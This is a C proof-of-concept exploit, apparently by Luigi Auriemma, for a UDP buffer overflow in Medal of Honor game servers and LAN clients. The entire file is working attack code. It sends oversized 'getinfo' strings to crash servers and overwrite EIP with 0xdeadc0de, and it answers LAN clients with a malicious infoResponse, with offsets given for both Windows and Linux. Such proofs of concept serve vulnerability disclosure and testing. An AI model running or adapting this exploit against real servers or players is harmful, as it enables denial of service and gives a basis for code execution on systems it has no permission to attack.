/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include <io.h>
#include <malloc.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 12203
#define TIMEOUT 3
#define INFO "\xff\xff\xff\xff\x02" "getinfo xxx\n"
#define BOFWIN "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaa" "\xde\xc0\xad\xde" // EIP deadc0de
#define BOFLINUX "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaa" "\xde\xc0\xad\xde" // EIP deadc0de
#define SVBOF "\xff\xff\xff\xff\x02" "getinfo %s\n"
#define CLBOF "\xff\xff\xff\xff" \
"\x01" \
"infoResponse\n" \
"\\pure\\0" \
"\\gametypestring\\Free-For-All" \
"\\gametype\\1" \
"\\sv_maxclients\\16" \
"\\clients\\0" \
"\\mapname\\DM/mohdm1" \
"\\hostname\\myserver" \
"\\protocol\\8" \
"\\crash\\" BOFWIN \
"\\challenge\\xxx"
void showinfostring(u_char *buff, int size);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
len,
psz,
on = 1,
type;
u_short port = PORT;
u_char buff[BUFFSZ + 1];
struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("\n"
"Medal of Honor buffer-overflow "VER"\n"
" Vulnerables: AA <= 1.11v9, SH <= 2.15, BT <= 2.40b\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s <attack> [port(%d)]\n"
"\n"
"Attack:\n"
" c = LAN clients buffer-overflow. It cannot work online because online is\n"
" used the Gamespy protocol that is not affected by this bug\n"
" s = server buffer-overflow: you can test this PoC versus a specific server.\n"
" You must add the IP or the hostname of the server after the 's'.\n"
" The PoC first tests the overflow for Win32 servers and then for Linux\n"
" that requires more data for overwriting the return address\n"
"\n"
"Some usage examples:\n"
" mohaabof c listens on port %d for clients\n"
" mohaabof c 1234 listens on port 1234\n"
" mohaabof s 192.168.0.1 tests the server 192.168.0.1 on port %d\n"
" mohaabof s 192.168.0.1 1234 tests the server 192.168.0.1 on port 1234\n"
"\n"
"The return address of the vulnerable hosts will be ever overwritten by the\n"
"offset 0xdeadc0de\n"
"\n", argv[0], PORT, PORT, PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
type = argv[1][0];
if((type != 'c') && (type != 's')) {
fputs("\n"
"Error: Wrong type of attack.\n"
" You can choose between 2 types of attacks, versus clients with 'c' or\n"
" versus servers with 's'\n"
"\n", stdout);
exit(1);
}
if(type == 's') {
if(!argv[2]) {
fputs("\n"
"Error: you must specify the server IP or hostname.\n"
" Example: mohaabof s localhost\n"
"\n", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[2]);
if(argc > 3) port = atoi(argv[3]);
printf("\n- Target %s:%hu\n\n",
inet_ntoa(peer.sin_addr),
port);
} else {
peer.sin_addr.s_addr = INADDR_ANY;
if(argc > 2) port = atoi(argv[2]);
printf("\n- Listening on port %d\n", port);
}
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(type == 's') {
fputs("- Request informations\n", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, probably the server is not online\n\n", stdout);
exit(1);
}
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
showinfostring(buff, len);
printf("- Send BOOM packet for the Windows version (data: %d, EIP: 0xdeadc0de)\n",
sizeof(BOFWIN) - 1);
len = sprintf(buff, SVBOF, BOFWIN);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
< 0) std_err();
fputs("- Server doesn't seem to be vulnerable, It is probably a Linux server\n", stdout);
printf("- Send BOOM packet for the Linux version (data: %d, EIP: 0xdeadc0de)\n",
sizeof(BOFLINUX) - 1);
len = sprintf(buff, SVBOF, BOFLINUX);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
printf("\n"
"Server doesn't seem to be vulnerable, the following is the answer received:\n"
"\n%s\n\n", buff);
}
}
} else {
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, psz)
< 0) std_err();
fputs("Clients (EIP will be overwritten by 0xdeadc0de):\n", stdout);
while(1) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
buff[len] = 0x00;
printf("%16s:%hu -> %s\n",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port),
buff);
if(sendto(sd, CLBOF, sizeof(CLBOF) - 1, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
}
}
close(sd);
return(0);
}
void showinfostring(u_char *buff, int size) {
int nt = 1,
len;
u_char *string;
len = strlen(buff);
if(len < size) buff += len + 1;
while(1) {
string = strchr(buff, '\\');
if(!string) break;
*string = 0x00;
/* \n or \t */
if(!nt) {
printf("%30s: ", buff);
nt++;
} else {
printf("%s\n", buff);
nt = 0;
}
buff = string + 1;
}
printf("%s\n\n", buff);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
